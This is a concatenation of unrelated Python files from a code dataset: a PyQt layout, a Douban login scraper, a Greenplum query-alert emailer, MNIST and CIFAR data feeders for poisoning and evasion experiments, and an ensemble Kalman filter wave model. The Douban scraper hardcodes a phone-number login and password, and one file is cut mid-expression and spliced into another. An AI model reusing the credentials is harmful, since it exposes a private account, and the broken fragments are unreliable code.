self.verticalLayout_4.addWidget(self.frame_content)\n self.frame_grip = QFrame(self.frame_content_right)\n self.frame_grip.setMinimumSize(QSize(0, 25))\n self.frame_grip.setMaximumSize(QSize(16777215, 25))\n self.frame_grip.setStyleSheet(\"background-color: rgb(33, 37, 43);\")\n self.frame_grip.setFrameShape(QFrame.NoFrame)\n self.frame_grip.setFrameShadow(QFrame.Raised)\n self.frame_grip.setObjectName(\"frame_grip\")\n self.horizontalLayout_6 = QHBoxLayout(self.frame_grip)\n self.horizontalLayout_6.setContentsMargins(0, 0, 2, 0)\n self.horizontalLayout_6.setSpacing(0)\n self.horizontalLayout_6.setObjectName(\"horizontalLayout_6\")\n self.frame_label_bottom = QFrame(self.frame_grip)\n self.frame_label_bottom.setFrameShape(QFrame.NoFrame)\n self.frame_label_bottom.setFrameShadow(QFrame.Raised)\n self.frame_label_bottom.setObjectName(\"frame_label_bottom\")\n self.horizontalLayout_7 = QHBoxLayout(self.frame_label_bottom)\n self.horizontalLayout_7.setContentsMargins(10, 0, 10, 0)\n self.horizontalLayout_7.setSpacing(0)\n self.horizontalLayout_7.setObjectName(\"horizontalLayout_7\")\n self.name_project = QLabel(self.frame_label_bottom)\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(9)\n self.name_project.setFont(font)\n self.name_project.setStyleSheet(\"color: rgb(98, 103, 111);\")\n self.name_project.setObjectName(\"name_project\")\n self.horizontalLayout_7.addWidget(self.name_project)\n self.dev_name = QLabel(self.frame_label_bottom)\n self.dev_name.setMaximumSize(QSize(300, 16777215))\n font = QFont()\n font.setFamily(\"ArcadeClassic\")\n font.setPointSize(9)\n self.dev_name.setFont(font)\n self.dev_name.setStyleSheet(\"color: rgb(98, 103, 111);\")\n self.dev_name.setAlignment(Qt.AlignRight | Qt.AlignTrailing | Qt.AlignVCenter)\n self.dev_name.setObjectName(\"dev_name\")\n self.horizontalLayout_7.addWidget(self.dev_name)\n self.horizontalLayout_6.addWidget(self.frame_label_bottom)\n self.verticalLayout_4.addWidget(self.frame_grip)\n self.horizontalLayout_2.addWidget(self.frame_content_right)\n self.verticalLayout.addWidget(self.frame_center)\n self.gridLayout.addWidget(self.frame_main, 0, 0, 1, 1)\n MainWindow.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(MainWindow)\n QMetaObject.connectSlotsByName(MainWindow)\n\n self.item_box.textChanged[str].connect(self.check_disable)\n self.price_box.textChanged[str].connect(self.check_disable)\n self.fill_table()\n\n def retranslateUi(self, MainWindow):\n _translate = QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"HANKAKAO\"))\n self.hankakao_top_info_1.setText(_translate(\"MainWindow\", \"HAN KA KAO\"))\n self.item_top_info_2.setText(_translate(\"MainWindow\", \"| item\"))\n self.item.setText(_translate(\"MainWindow\", \" ITEM\"))\n self.price.setText(_translate(\"MainWindow\", \" price\"))\n self.name.setText(_translate(\"MainWindow\", \" name\"))\n self.btn_add.setText(_translate(\"MainWindow\", \"add\"))\n self.btn_clear.setText(_translate(\"MainWindow\", \"clear\"))\n item = self.item_table.horizontalHeaderItem(0)\n item.setText(_translate(\"MainWindow\", \"Items\"))\n item = self.item_table.horizontalHeaderItem(1)\n item.setText(_translate(\"MainWindow\", \"Price (฿)\"))\n item = self.item_table.horizontalHeaderItem(2)\n item.setText(_translate(\"MainWindow\", \"name\"))\n self.btn_hankakao.setText(_translate(\"MainWindow\", \"HAN KA KAO !\"))\n self.name_project.setText(_translate(\"MainWindow\", \"OOP FINAL PROJECT\"))\n self.dev_name.setText(_translate(\"MainWindow\", \"developed by ae, mind, pao\"))\n","sub_path":"Han_Ka_Kao/linked_demo_updated/linked_demo/allpage/item_up.py","file_name":"item_up.py","file_ext":"py","file_size_in_byte":29959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"334792756","text":"# -*- encoding:utf-8 -*-\nimport requests\nfrom bs4 import BeautifulSoup\nimport urllib\nimport re\n\nloginUrl = 'http://accounts.douban.com/login'\nformData = {\n \"redir\": \"http://movie.douban.com/mine?status=collect\",\n 'name': '15052525093',\n 'password': '970927aaa',\n 'remember': 'false',\n 'ticket': ''\n}\nheaders = {\"user-agent\": \"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\",}\nr = requests.post(loginUrl, data=formData, headers=headers)\npage = r.text\n# print r.url\n\n'''获取验证码图片'''\n# 利用bs4获取captcha地址\nsoup = BeautifulSoup(page, \"html.parser\")\n#captchaAddr = soup.find('img', id='captcha_image')['src']\n# 利用正则表达式获取captcha的ID\n#reCaptchaID = r' 0):\n # isIPaddress = [“name”, “name2”, . . .]\n for ip in isIPaddress:\n output_dict[ip] = xmltodict.parse(input_dict[ip]['stockpile_nvidia_smi']['xml'])\n \n validate_length(len(output_dict), self.module)\n\n yield output_dict\n","sub_path":"transcribe/scribe_modules/nvidia_smi.py","file_name":"nvidia_smi.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"518478373","text":"import numpy as np\nimport pandas as pd\n\nfrom pykalman import KalmanFilter\n\nclass Preproc:\n width = 1# rollong window width\n \n # contructor\n def __init__(self,width=1):\n self.width = width\n \n # kalman filtering\n def kalman(self,ds):\n ds = ds.fillna(method='ffill') # fill in NaN's\n measurements = ds.to_numpy()\n kf = KalmanFilter(transition_matrices=[1],\n observation_matrices=[1],\n initial_state_mean=measurements[0],\n initial_state_covariance=1,\n observation_covariance=10,\n transition_covariance=1) \n state_means, state_covariances = kf.filter(measurements)\n state_std = np.sqrt(state_covariances[:,0]) # in case I needed them\n return state_means\n \n # exponential moving average\n def expMA(self,ds):\n return ds.ewm(span=self.width,adjust=False).mean() # exponential MA\n \n # centered moving average\n def rollCMA(self,ds):\n ds1 = ds.rolling(center=True,window=self.width).mean() # rolling MA\n ds1[0:int(self.width/2)] = ds[0:int(self.width/2)] # fill in\n ds1[int(self.width/2):len(ds)] = ds[int(self.width/2):len(ds)] # fill in\n return ds1\n\n # rolling outlier detection\n def median_filter(self,num_std = 3):\n def _median_filter(self,x):\n _median = np.median(x)\n _std = np.std(x)\n s = x[-1]\n return s if s >= _median - num_std * _std and s <= _median + num_std * _std else np.nan\n return _median_filter\n\n # drop outliers (further than 1.5 iqr) \n def drop_outliers(self,df, field_name, cutoff = 1.5):\n iqr = (np.percentile(df[field_name], 75) - np.percentile(df[field_name], 25))\n distance = cutoff * iqr\n df.drop(df[df[field_name] > distance + np.percentile(df[field_name], 75)].index, inplace=True)\n df.drop(df[df[field_name] < np.percentile(df[field_name], 25) - distance].index, inplace=True)\n\n # clip outliers (5 and 95 percentile) \n def clip_outliers(self, df, minPercentile = 0.05, maxPercentile = 0.95):\n df_list = list(df)\n for _ in range(len(df.columns)):\n df[df_list[_]] = df[df_list[_]].clip((df[df_list[_]].quantile(minPercentile)),(df[df_list[_]].quantile(maxPercentile)))\n","sub_path":"SteepestDescent/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"178378360","text":"#!/usr/bin/python\nimport os\nimport sys\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\n\nlogger = get_default_logger()\nlogger.info(\"long_running_queries.py started\")\n# Declaring Environment Variables\n\nPGDATABASE='postgres'\nPGPORT=5432\nPGUSER='gpadmin'\n\n# Variables for SQL and Output files\nQUERY_INFO='/tmp/long_running_queries.py'\nLONG_QUERY_PID='psql -A -t -c \"SELECT procpid FROM pg_stat_activity WHERE now() - query_start > 020000::abstime::timestamp AND current_query NOT ilike \\'%IDLE%\\'\"' \nLONG_QUERY_PSQL_STRING=\"psql -c \\\"SELECT datname as Database, procpid as Process_ID, sess_id as Session_ID, usename as Username, SUBSTR(current_query,0,60) as Current_Query, now() - query_start as Query_Duration, now() - backend_start as Session_Duration, waiting as Is_Waiting FROM pg_stat_activity WHERE procpid = LONG_QUERY_PID ORDER BY 6 desc;\\\" > QUERY_INFO\"\n\n# Defining function to send email\ndef sendemail():\n logger.info(\"Composing email notification\")\n to_addr = 'yogeshjadhav96@outlook.com'\n from_addr = 'yogeshjadhav96@gmail.com'\n msg = MIMEMultipart()\n msg['From']=from_addr\n msg['To']=to_addr\n msg['Subject']=\"Long Running Queries In Greenplum\"\n body = \"Hi DBA\\'s,\\n\\n There are long running queries in Greenplum.\\n Please find the attachments.\\n\\n Thanks,\\n long_running_queries.py\"\n msg.attach(MIMEText(body, 'plain'))\n filename = long_running_queries.log\n attachment = open(QUERY_INFO,\"rb\")\n part = MIMEBase('application','octet-stream')\n part.set_payload((attachment).read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\n msg.attach(part)\n server = smtplib.SMTP('smtp.gmail.com',587)\n server.starttls()\n server.login(\"yogeshjadhav96@gmail.com\",\"Your Password Here\")\n text = msg.as_string()\n logger.info(\"Sending Email to \" + to_addr)\n server.sendmail(from_addr,to_addr,text)\n server.quit()\n\ndef get_long_running_queries():\n if len(IS_LONG_RUNNING) >= 1:\n logger.info(\"One or more queries running from long time\")\n os.popen(LONG_QUERY_PSQL_STRING)\n sendemail()\n else:\n logger.info(\"No queries are running for longer time. No need to send email\")\n\n# Defining main function\ndef main():\n logger.info(\"Checking if queries are running for long time\")\n IS_LONG_RUNNING=os.popen(LONG_QUERY_PID).read()\n get_long_running_queries()\n\n\n# Calling main function\nif __name__=='__main__':\n main()\n logger.info(\"Completed Successfully\")\n","sub_path":"scripts/python/long_running_queries.py","file_name":"long_running_queries.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"530235977","text":"import requests\nimport json\n\n# POST\n# load the test data\nwith open('testdata.json', 'r') as f:\n testdata = json.load(f)\n\nr = requests.post('https://mysterious-reef-90699.herokuapp.com/predict', json={'newdata': testdata})\n#print(r.json())\ndata = r.json()\n\nprint('Good day to you. The prediction for the data is: ', data)\n","sub_path":"test_heroku.py","file_name":"test_heroku.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"77986752","text":"num=input().replace(\"[\",\"\").replace(\"]\",\"\").split(\",\")\nfor i in range(len(num)):\n for j in range(i,len(num)):\n if num[i]>num[j]:\n temp=num[i]\n num[i]=num[j]\n num[j]=temp\n\nprint(\"[\",end=\"\")\nfor i in range(len(num)):\n if(i!=len(num)-1):\n print(num[i],end=\", \")\n else:\n print(num[i],end=\"\")\nprint(\"]\")","sub_path":"Code/CodeRecords/2528/47774/247823.py","file_name":"247823.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"180344073","text":"import numpy as np\nimport os\nimport gzip\nimport urllib.request\n\n\ndef get_random_indices(n, lo, hi):\n if n > (hi - lo):\n raise ValueError(\"The specified range is smaller than the number of DIFFERENT random indices you are requesting.\")\n\n nums = []\n while len(nums) < n:\n r = int((np.random.random(1) * (hi - lo)) + lo)\n if r not in nums:\n nums.append(r)\n\n if n == 1:\n return nums[0]\n else:\n return nums\n\n\ndef extract_data(filename, num_images):\n with gzip.open(filename) as bytestream:\n bytestream.read(16)\n buf = bytestream.read(num_images * 28 * 28)\n data = np.frombuffer(buf, dtype=np.uint8).astype(np.float32)\n data = (data / 255)\n data = data.reshape(num_images, 28, 28, 1)\n return data\n\n\ndef extract_labels(filename, num_images):\n with gzip.open(filename) as bytestream:\n bytestream.read(8)\n buf = bytestream.read(1 * num_images)\n labels = np.frombuffer(buf, dtype=np.uint8)\n return (np.arange(10) == labels[:, None]).astype(np.float32)\n\n\nclass AbstractFeeder:\n def __init__(self):\n self.craft_count = 0\n\n def _extract_data_by_class(self, source, data_class, total_count='max'):\n if source == 'craft':\n data = self.craft_data\n labels = self.craft_labels\n elif source == 'train':\n data = self.train_data\n labels = self.train_labels\n elif source == 'test':\n data = self.test_data\n labels = self.test_labels\n else:\n raise ValueError(\"Invalid data source. Valid options are {craft, train, test}.\")\n\n # Extract the indices of all source_class test instances.\n ohe_target = [0.0 for _ in range(10)]\n ohe_target[data_class] = 1.0\n indices = np.where((labels == ohe_target).all(axis=1))[0]\n\n if total_count == 'max':\n total_count = len(indices)\n elif isinstance(total_count, int):\n if total_count > len(indices):\n total_count = len(indices)\n print(\"The requested craft data amount ({}) is too large. Using max available data.\".format(total_count))\n else:\n total_count = len(indices)\n print(\"The requested craft data amount ({}) is invalid. Using max available data.\".format(total_count))\n\n indices = indices[:total_count]\n\n data = data[indices]\n labels = labels[indices]\n\n return data, labels\n\n def get_craft_data(self, data_class, total_count='max', metric=None):\n craft_data = self._extract_data_by_class('craft', data_class, 'max')[0]\n if total_count == 'max':\n total_count = len(craft_data)\n if metric is None:\n return craft_data[:total_count]\n else:\n return np.array(sorted(craft_data, key=metric, reverse=True))[:total_count]\n\n def get_examination_data(self, data_class, total_count='max'):\n return self._extract_data_by_class('train', data_class, total_count)[0]\n\n def get_target_image(self, data_class, index):\n data, label = self._extract_data_by_class('test', data_class)\n return data[index], label[index]\n\n def get_random_target_indices(self, data_class, total_count):\n possible_images_count = len(self._extract_data_by_class('test', data_class)[0])\n return get_random_indices(total_count, 0, possible_images_count)\n\n def get_labels(self, data_class, n):\n return np.repeat([np.eye(self.nb_classes)[data_class]], repeats=n, axis=0)\n\n def compile_poison_batch(self, poison_data, craft_class, batch_size, shuffle=False):\n clean_data_amount = batch_size - len(poison_data)\n\n new_count = self.craft_count + clean_data_amount\n adv_labels = np.repeat([np.eye(10)[craft_class]], repeats=len(poison_data), axis=0)\n\n batch_data = np.append(self.craft_data[self.craft_count:new_count], poison_data, axis=0)\n batch_labels = np.append(self.craft_labels[self.craft_count:new_count], adv_labels, axis=0)\n\n self.craft_count = new_count\n\n # Shuffle the batches\n if shuffle:\n p = np.random.permutation(len(batch_data))\n return batch_data[p], batch_labels[p]\n else:\n return batch_data, batch_labels\n\n\nclass MNISTFeederEvasion(AbstractFeeder):\n def __init__(self, path_to_mnist):\n super().__init__()\n\n self.nb_classes = 10\n\n self.train_data = extract_data(os.path.join(path_to_mnist, 'train-images-idx3-ubyte.gz'), 60000)\n self.train_labels = extract_labels(os.path.join(path_to_mnist, 'train-labels-idx1-ubyte.gz'), 60000)\n test_data = extract_data(os.path.join(path_to_mnist, 't10k-images-idx3-ubyte.gz'), 10000)\n test_labels = extract_labels(os.path.join(path_to_mnist, 't10k-labels-idx1-ubyte.gz'), 10000)\n\n # Setup training data split.\n self.splitter = 6000\n\n self.test_data = test_data[:self.splitter, :, :, :]\n self.test_labels = test_labels[:self.splitter]\n\n self.craft_data = test_data[self.splitter:, :, :, :]\n self.craft_labels = test_labels[self.splitter:]\n\n self.test_count = 0\n\n def get_evasion_craft_data(self, source_class, total_count):\n possible_images = self._extract_data_by_class('craft', source_class)[0]\n possible_images_count = len(possible_images)\n indices = get_random_indices(total_count, 0, possible_images_count)\n return possible_images[indices]\n\n\nclass MNISTFeederPoison(AbstractFeeder):\n def __init__(self, path_to_mnist):\n super().__init__()\n\n self.nb_classes = 10\n\n train_data = extract_data(os.path.join(path_to_mnist, 'train-images-idx3-ubyte.gz'), 60000)\n train_labels = extract_labels(os.path.join(path_to_mnist, 'train-labels-idx1-ubyte.gz'), 60000)\n self.test_data = extract_data(os.path.join(path_to_mnist, 't10k-images-idx3-ubyte.gz'), 10000)\n self.test_labels = extract_labels(os.path.join(path_to_mnist, 't10k-labels-idx1-ubyte.gz'), 10000)\n\n # Setup training data split.\n self.splitter = 50000\n\n self.train_data = train_data[:self.splitter, :, :, :]\n self.train_labels = train_labels[:self.splitter]\n\n self.craft_data = train_data[self.splitter:, :, :, :]\n self.craft_labels = train_labels[self.splitter:]\n\n self.test_count = 0\n\n\nclass CIFARFeeder(AbstractFeeder):\n def __init__(self, path_to_cifar):\n super(CIFARFeeder, self).__init__()\n train_batches = ['data_batch_1', 'data_batch_2', 'data_batch_3', 'data_batch_4', 'data_batch_5']\n test_batches = ['test_batch']\n self.nb_classes = 10\n\n def one_hot_encode(label):\n return np.eye(self.nb_classes)[label]\n\n def unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n data = map(lambda x: np.transpose(x.reshape(3,32,32), axes=(1, 2, 0)) / 255, dict[b'data'])\n labels = map(one_hot_encode, dict[b'labels'])\n return data, labels\n\n train_data = []\n train_labels = []\n for file_name in train_batches:\n d, l = unpickle(os.path.join(path_to_cifar, file_name))\n train_data.extend(d)\n train_labels.extend(l)\n train_data = np.array(train_data)\n train_labels = np.array(train_labels)\n\n self.test_data = []\n self.test_labels = []\n for file_name in test_batches:\n data, labels = unpickle(os.path.join(path_to_cifar, file_name))\n self.test_data.extend(data)\n self.test_labels.extend(labels)\n self.test_data = np.array(self.test_data)\n self.test_labels = np.array(self.test_labels)\n\n # Setup training data split.\n total_train = len(train_data)\n self.splitter = total_train - 2000\n\n self.train_data = train_data[:self.splitter, :, :, :]\n self.train_labels = train_labels[:self.splitter]\n\n self.craft_data = train_data[self.splitter:, :, :, :]\n self.craft_labels = train_labels[self.splitter:]\n\n\nclass PepperCIFARFeeder(CIFARFeeder):\n def __init__(self, path_to_cifar, noise_pct):\n super().__init__(path_to_cifar)\n\n def pepperize(nd_data, pct):\n mask = (np.random.rand(*nd_data.shape)) > pct\n return nd_data - mask\n\n self.train_data = pepperize(self.train_data, noise_pct)\n self.test_data = pepperize(self.test_data, noise_pct)\n self.craft_data = pepperize(self.craft_data, noise_pct)\n\n\nclass SharedCIFARFeeder(CIFARFeeder):\n def __init__(self, path_to_cifar, train_seize_pct, test_seize_pct):\n super().__init__(path_to_cifar)\n\n def split_data(data, labels, split_pct):\n split_index = int(split_pct * len(data))\n return (data[:split_index], labels[:split_index]), (data[split_index:], labels[split_index:])\n\n # Seize train data\n (big_data, big_labels), (small_data, small_labels) = split_data(self.train_data,\n self.train_labels,\n train_seize_pct)\n\n self.train_data = big_data\n self.train_labels = big_labels\n\n # Seize test data\n (big_data, big_labels), (small_data, small_labels) = split_data(self.test_data,\n self.test_labels,\n test_seize_pct)\n\n self.train_data = np.append(self.train_data, big_data, axis=0)\n self.train_labels = np.append(self.train_labels, big_labels, axis=0)\n self.test_data = small_data\n self.test_labels = small_labels\n\n\nclass SqueezedCIFARFeeder(CIFARFeeder):\n def __init__(self, path_to_cifar, new_bit_depth):\n super().__init__(path_to_cifar)\n\n def squeeze(nd_data, bit_depth):\n n_bit_depth = 2**bit_depth\n return (nd_data * n_bit_depth + 0.5).astype(np.int16).astype(np.float64) / n_bit_depth\n\n self.train_data = squeeze(self.train_data, new_bit_depth)\n self.test_data = squeeze(self.test_data, new_bit_depth)\n self.craft_data = squeeze(self.craft_data, new_bit_depth)\n","sub_path":"data/data_feeder.py","file_name":"data_feeder.py","file_ext":"py","file_size_in_byte":10374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"62493890","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 20 12:33:25 2020\n\n@author: spinosa\n\"\"\"\n\nimport wave1d\nimport timeseries\nimport numpy as np\nimport time\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy.sparse import coo_matrix\nimport errno\nfrom scipy.sparse.linalg import inv\nfrom scipy.sparse import hstack, vstack, csc_matrix\nfrom numpy import loadtxt\nfrom math import sqrt\nfrom sklearn.metrics import mean_squared_error\nimport matplotlib.dates as mdates \n\n\ndef get_globals(module_name):\n module = globals().get(module_name, None)\n variables = {}\n if module:\n variables = {key: value for key, value in module.__dict__.items() if not (key.startswith('__') or key.startswith('_'))}\n #print(variables)\n return variables\n\nwave1d_globals = get_globals('wave1d')\n#print(wave1d_globals)\n\n\nminutes_to_seconds=60.\ndt=10.*minutes_to_seconds\ndays_to_seconds=24.*60.*60.\n\ndef settings_enkf(func):\n def wrapper(n_ensembles,sigma_v,*args, **kwargs):\n s = func()\n # W_sigma\n T = 6 * wave1d_globals['hours_to_seconds']\n alpha = np.exp(-s['dt'] / T)\n s['alpha'] = alpha\n sigma_n = 0.2\n sigma_w = sigma_n * np.sqrt(1 - alpha ** 2)\n s['sigma_w'] = sigma_w\n #Emsembles\n n_ensembles = n_ensembles\n s['n_ensembles'] = n_ensembles\n W = np.random.randn(len(s['h_left']), n_ensembles) * sigma_w\n s['W'] = W\n #hleft emsemble matrix creation\n bound_values_old = s['h_left']\n bound_values_matrix = np.array(bound_values_old) * np.ones((len(bound_values_old), n_ensembles)).T\n #print(bound_values_matrix)\n s['h_left_ensembles'] = bound_values_matrix #+ noise_ar_1\n # Observations\n obs_index = [50, 100, 150, 198] #from ilocs\n s['obs_index'] = obs_index\n #H matrix\n row = np.array(range(len(obs_index)))\n col = np.array(obs_index)\n data = np.ones(len(obs_index))\n H = coo_matrix((data, (row, col)), shape=(len(obs_index),2*s['n']+1)).toarray()\n s['H'] = H\n s['sigma_v'] = sigma_v\n return s\n return wrapper\n\n# =============================================================================\n# Model extention \n# =============================================================================\n\ndef initialize_enkf(func):\n def wrapper(s,*args, **kwargs):\n x, t0 = func(s,*args, **kwargs)\n #print(x)\n # ORIGINAL MODEL - A xk+1 = B xk\n # EXTENDED MODEL- xk+1= M xk + C bk + wk\n # Extending X\n x = np.append(x,[0])\n A = s['A'].tocsc()\n B = s['B'].tocsc()\n C = inv(A)\n M = C.dot(B)\n # Extending M and C\n M_new = M.copy()\n M_new.resize((201, 201))\n M_new[0, 2*s['n']] = 1\n M_new[2*s['n'], 2*s['n']] = s['alpha']\n C_new = C.copy()\n C_new.resize((2*s['n']+1,2*s['n']+1))\n s['M_ext'] = M_new\n s['C_ext'] = C_new\n # Creating X0 Ensemble\n xi_0 = x * np.ones((s['n_ensembles'], len(x)))\n return (xi_0,t0)\n return wrapper\n\n# =============================================================================\n# EnKF implementation: for each time step, boundary vector and noise are creaed and a new state vector is returned\n# =============================================================================\n \ndef enkf_impl(x,t,s,ensemble_index):\n # Create boundary condition vector [h_b(k), 0, 0, ... 0]\n h_b = np.zeros(2 * s['n'] + 1)\n h_b[0] = s['h_left'][t]\n # Create noise vector [0, 0, 0, ... w(k)]\n w = np.zeros(2 * s['n'] + 1)\n w[-1] = s['W'][t][ensemble_index]\n M_new = s['M_ext']\n C_new = s['C_ext']\n # Perform model timestep\n new_x = M_new.dot(x) + C_new.dot(h_b) + w\n return new_x\n\n# =============================================================================\n# For each new_x a forecast (x_f) is generated. The state xi-1 defined for the previous state is used as input\n# The forecast is returned for each time\n# The mean of the ensemble is also calculated and returned\n# =============================================================================\ndef ensembles_of_forecast(xi_1, s, t):\n # xk+1= M xk + C bk + wk\n xi_f = [enkf_impl(xi_1[i],t,s,i) for i in range(len(xi_1))]\n # Ensemble estimate\n x_f = np.mean(xi_f,axis=0)\n return xi_f,x_f\n\n# =============================================================================\n# Calculate covariance of forecast and forecast erro. These will be used to calculate the Kalman gain\n# =============================================================================\n\ndef Cov_Lf(xi_f,x_f,H,N): \n error = xi_f - x_f\n L_f = np.array(error)/ np.sqrt(N - 1)\n psi = np.inner(L_f, H)\n return L_f ,psi\n \n# =============================================================================\n# Kalman gain\n# =============================================================================\ndef K_gain(L_f,psi,R):\n aux1 = np.inner(psi.T,L_f.T)\n aux2 = np.linalg.inv(np.inner(psi.T,psi.T) + R)\n K = np.inner(aux2,aux1.T)\n return K\n\n# =============================================================================\n# Create observation noise\n# =============================================================================\ndef observations_noise(s):\n v = []\n n_ensembles = s['n_ensembles'] # will be defined in settings\n sigma_v = s['sigma_v'] # will be defined in settings\n for j in range(len(s['obs_index'])): # Change later n_ensembles b\n v.append(np.random.normal(0, sigma_v, n_ensembles))\n v = np.array(v).T\n return v\n\n# =============================================================================\n# Assimilation. State estimate and assimilated ensemble are returned\n# =============================================================================\ndef assimilate(xi_f, z_k, H, K, v):\n aux0 = np.inner(xi_f, H)\n aux1 = z_k - aux0 + v\n aux2 = np.inner(aux1, K.T)\n assimilated = xi_f + aux2\n x_e = np.mean(assimilated, axis=0)\n return assimilated, x_e\n \n\n# =============================================================================\n# Plot model outcomes of wave height (h [m]) and velocity (u [m/s]) at different stations \n# Plot observed data. Those are the observed waveheigh\n# Plot the assimilated values.\n# =============================================================================\n\ndef plot_series(t,series_data,s,obs_data,series_model):\n # plot timeseries from model and observations\n loc_names=s['loc_names']\n for i in range(5):\n fig,ax=plt.subplots()\n fmodel = loadtxt('model.csv', delimiter =',')\n ax.plot(t,fmodel[i,:],'g-', label = 'model')\n ntimes=min(len(t),obs_data.shape[1])\n ax.plot(t[0:ntimes],obs_data[i,0:ntimes],'r-', label ='observations')\n ax.plot(t,series_data[i,:],'b-', label ='assimilated')\n ax.set_ylim(-3.5,5)\n #ax.set_xlabel('time')\n ax.set_ylabel('h [m]', size=12)\n ax.set_title(loc_names[i],size =12)#, x=0.05, y=0, )\n #plt.legend()\n ax.legend(loc='lower left', fontsize=10)\n \n ax.xaxis.set_major_locator(mdates.DayLocator())\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%d-%m-%Y'), )\n ax.xaxis.set_minor_locator(mdates.HourLocator(interval=6))\n ax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\n ax.xaxis.grid(False, which='minor')\n ax.yaxis.grid(False)\n ax.tick_params(axis=\"x\", which=\"major\", size=12)\n \n plt.savefig((\"ex9_%s.png\"%loc_names[i]).replace(' ','_'))\n \n # =============================================================================\n # Compute some statistic to gain a first quantitative idea of the accuracy of the model.\n # =============================================================================\n error=-series_data[i,:]+obs_data[i,0:ntimes] \n rmse = sqrt(mean_squared_error(obs_data[i,0:ntimes], series_data[i,:]))\n\n print('&', 'Vlissigen', '&', 'Terneuzen', '&', 'Hansweert', '&', 'Bath')\n print('RMSE'+str(rmse))\n print('MAE'+str(sum(abs(error))/288.0)) #MAE\n print('Mean'+str(np.mean(error))) \n print('Std'+str(np.std(error)))\n print('MIn'+str(np.min(error)))\n print('Max'+str(np.max(error)))\n list_u = [5,6,7,8]\n for i in list_u:\n fig,ax=plt.subplots()\n ax.plot(t,fmodel[i,:],'g-', label = 'model')\n ax.plot(t,series_data[i,:],'b-', label ='assimilated')\n ax.set_ylim(-2.5,2.5)\n #ax.set_xlabel('time')\n ax.set_ylabel('u [m/s]', size=12)\n ax.set_title(loc_names[i], size=12) #, x=0.05, y=0, size=12)\n \n ax.legend(loc='lower left', fontsize=10)\n \n ax.xaxis.set_major_locator(mdates.DayLocator())\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%d-%m-%Y'), )\n ax.xaxis.set_minor_locator(mdates.HourLocator(interval=6))\n ax.xaxis.set_minor_formatter(mdates.DateFormatter('%H:%M'))\n ax.xaxis.grid(False, which='minor')\n ax.yaxis.grid(False)\n ax.tick_params(axis=\"x\", which=\"major\", size=12)\n \n plt.savefig((\"ex9_%s.png\"%loc_names[i]).replace(' ','_'))\n \n# =============================================================================\n# For each time step and ensemble it is important to save the estimated and forecast valued. \n# This function returns the variables to be saved\n# =============================================================================\ndef saving_function(value):\n choises = {1:['series_data','x_f','x_e','xi_f','ensembles_e','K']}\n return choises[value]\n\n\ndef simulate(s,xi_0,t_0,observed_data,plotting=True,saving_option=3):\n savings_choices = saving_function(saving_option)\n t = s['t']\n ilocs= s['ilocs']\n series_data = np.zeros((len(s['ilocs']), len(t)))\n series_model= np.zeros((len(s['ilocs']), len(t)))\n result = {}\n #print(x)\n for i in np.arange(0,len(t)):\n # Forecast step\n xi_f, x_f = ensembles_of_forecast(xi_0, s, i);\n H = s['H'] # n_obs x len(x)\n L_f, psi = Cov_Lf(xi_f, x_f, H, len(x_f))\n # Assimilation step\n v = observations_noise(s)\n R = np.diag(np.array([s['sigma_v']**2 for i in range(len(s['obs_index']))])) # observation covariance matrix. Obs noise is assumeded to be uncorrelated \n psi = np.inner(L_f, H)\n K = K_gain(L_f, psi, R)\n z_k = observed_data.T[i][1:len(s['obs_index'])+1]\n ensembles_e, x_e = assimilate(xi_f, z_k, H, K, v) \n xi_0 = ensembles_e \n series_data[:, i] = x_e[s['ilocs']]\n \n local = locals()\n result[i] = {variable: local.get(variable) for variable in savings_choices}\n \n times = s['times'][:]\n # print(len(times),np.shape(series_data),np.shape(observed_data))\n plot_series(times, series_data, s, observed_data,series_model)\n print('Final result')\n return result\n\n\ndef simulator(n_ensembles,saving_option, sigma_v, plotting):\n global new_settings\n global new_initialize\n global new_timestep\n # Extending wave1d functions\n new_settings = settings_enkf(wave1d.settings)\n new_initialize = initialize_enkf(wave1d.initialize)\n new_timestep = enkf_impl\n s = new_settings(n_ensembles,sigma_v)\n xi_0, t_0 = new_initialize(s)\n observed_data = wave1d.simulate()\n result = simulate(s,xi_0,t_0,observed_data, plotting=plotting, saving_option=saving_option)\n return result\n\n# =============================================================================\n# Define ensemble size, saving option, error and run the code\n# =============================================================================\nn_ensembles = 100\nsaving_option = 1\nplotting =False\nsigma_v= 0.1\nresults = simulator(n_ensembles,saving_option,sigma_v,plotting)\n","sub_path":"wave1d_ex9.py","file_name":"wave1d_ex9.py","file_ext":"py","file_size_in_byte":11858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"623368911","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\nimport collections\nimport 